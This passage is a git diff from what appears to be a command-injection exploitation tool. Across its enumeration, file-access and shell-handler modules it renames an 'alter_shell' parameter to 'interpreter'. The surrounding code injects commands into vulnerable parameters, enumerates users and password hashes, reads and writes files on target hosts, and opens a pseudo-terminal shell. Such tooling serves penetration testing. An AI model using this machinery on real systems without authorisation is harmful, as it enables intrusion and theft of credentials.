checks.print_enumenation().current_user_msg() - current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True if menu.options.is_root or menu.options.is_admin: checks.print_enumenation().check_privs_msg() - check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True if menu.options.sys_info: checks.print_enumenation().os_info_msg() - system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True if menu.options.users: checks.print_enumenation().print_users_msg() - system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True if menu.options.passwords: @@ -504,13 +504,13 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h checks.unavailable_option(check_option) else: checks.print_enumenation().print_passes_msg() - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.ENUMERATION_DONE = True """ Check stored session """ -def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True : @@ -520,7 +520,7 @@ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) break elif enumerate_again in settings.CHOICE_NO: new_line = False @@ -532,6 +532,6 @@ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time pass else: if menu.enumeration_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) # eof \ No newline at end of file diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index b78fdf317b..d31d0cefd8 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -28,7 +28,7 @@ """ Write to a file on the target host. """ -def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): _ = False file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == settings.OS.WINDOWS: @@ -40,12 +40,12 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, whitespace = settings.WHITESPACES[0] _ = True fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) cmd = checks.delete_tmp(tmp_fname) - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) else: if technique == settings.INJECTION_TECHNIQUE.CLASSIC: @@ -62,15 +62,15 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.TIME_RELATED_ATTACK: cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: cmd = cmd + settings.SINGLE_WHITESPACE + settings.COMMENT - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) cmd = checks.check_file(dest_to_write) @@ -78,16 +78,16 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and not _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) else: if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) if settings.TIME_RELATED_ATTACK: @@ -98,7 +98,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ Read a file from the target host. """ -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.CLASSIC: from src.core.injections.results_based.techniques.classic import cb_injector as injector elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: @@ -117,16 +117,16 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = "" elif settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) session_handler.store_cmd(url, cmd, shell, vuln_parameter) _ = True else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) if settings.URL_RELOAD: response = requests.url_reload(url, timesec) shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) @@ -142,19 +142,19 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ Check the defined options """ -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if menu.options.file_write: - file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.FILE_ACCESS_DONE = True if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) settings.FILE_ACCESS_DONE = True """ Check stored session """ -def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique): if settings.FILE_ACCESS_DONE == True : while True: message = "Do you want to ignore stored session and access files again? [y/N] " @@ -162,7 +162,7 @@ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) break elif file_access_again in settings.CHOICE_NO: break @@ -173,6 +173,6 @@ def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, time pass else: if menu.file_access_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) # eof \ No newline at end of file diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 18feaa09df..a2b349f532 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -56,7 +56,7 @@ def exit_handler(no_result): """ Delete previous shells outputs. """ -def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique): +def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique): if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." @@ -72,16 +72,16 @@ def delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_reque cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT - injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) -def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response): +def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response): try: checks.alert() go_back = False go_back_again = False if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) while True: if go_back == True: break @@ -104,9 +104,9 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "exit": if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) checks.quit(filename, url, _ = False) - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) + go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) if go_back and go_back_again == False: break if go_back and go_back_again: @@ -119,16 +119,16 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, # The main command injection exploitation. if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, interpreter, filename, url_time_response, technique) else: - check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) # Export injection result checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) else: - response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique) # Command execution results. shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) @@ -163,11 +163,11 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, return False else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) return True elif gotshell in settings.CHOICE_QUIT: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) checks.quit(filename, url, _ = False) else: common.invalid_option(gotshell) @@ -175,21 +175,21 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, except KeyboardInterrupt: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) checks.handle_exploitation_interrupt(filename, url) # Continue chosen - re-enter the shell fresh. - return pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) + return pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique, no_result, timesec, payload, OUTPUT_TEXTFILE, url_time_response) except SystemExit: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) settings.print_data_to_stdout(settings.END_LINE.CR) raise except EOFError: checks.EOFError_err_msg() if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) settings.print_data_to_stdout(settings.END_LINE.CR) # Return False to stop searching after this combination was already reported. return True @@ -315,7 +315,7 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti stored_row = settings.STORED_TECHNIQUES.get(technique) if settings.LOAD_SESSION else None if stored_row: try: - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) + url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable = session_handler.apply_stored_technique(stored_row) url, prefix = session_handler.reapply_testable_value(url, vuln_parameter, http_request_method, prefix) # Re-apply the minimum safe delay to the stored session. if technique in (settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED): @@ -347,18 +347,18 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) # The output file for file-based injection technique. - alter_shell = menu.options.alter_shell + interpreter = menu.options.interpreter tag_length = len(TAG) + 4 if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). - if alter_shell: + if interpreter: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.decision_alter_shell(separator, TAG, output_length, timesec, http_request_method) + payload = payloads.decision_alter_interpreter(separator, TAG, output_length, timesec, http_request_method) else: - payload = payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) + payload = payloads.decision_alter_interpreter(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) else: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: payload = payloads.decision(separator, TAG, output_length, timesec, http_request_method) @@ -418,7 +418,7 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti randvcalc = randv1 + randv2 if settings.TARGET_OS == settings.OS.WINDOWS: - if alter_shell: + if interpreter: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: rand_num = randv1 + randv2 @@ -434,9 +434,9 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti # Check for false positive resutls if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) + exec_time, output = injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) else: - exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) + exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, interpreter, exec_time, url_time_response, false_positive_warning, technique, _false_positive_retry + 1, settings.FALSE_POSITIVE_RETRIES) if checks.time_related_shell(url_time_response, exec_time, timesec): if str(output) == str(randvcalc) and len(TAG) == output_length: @@ -464,19 +464,19 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti except KeyboardInterrupt: if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) # Always raises - propagates out to controller.injection_proccess(). checks.handle_detection_interrupt(filename, url) except SystemExit: if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) raise except EOFError: checks.EOFError_err_msg() if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED and 'cmd' in locals(): - delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) + delete_previous_shell(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) raise except Exception: @@ -508,25 +508,25 @@ def do_time_related_proccess(url, timesec, filename, http_request_method, url_ti if not resumed: shell = "" checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) + session_handler.import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, original_exec_time, output_length, is_vulnerable=settings.INJECTION_LEVEL) else: whitespace = settings.WHITESPACES[0] if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: OUTPUT_TEXTFILE = "" url, prefix = probe_skip_testable_value_post_detection(separator, timesec, http_request_method, url, vuln_parameter, whitespace, url_time_response, technique, prefix) # Check for any enumeration options. - enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, url_time_response, technique) # Check for any system file access options. - file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, 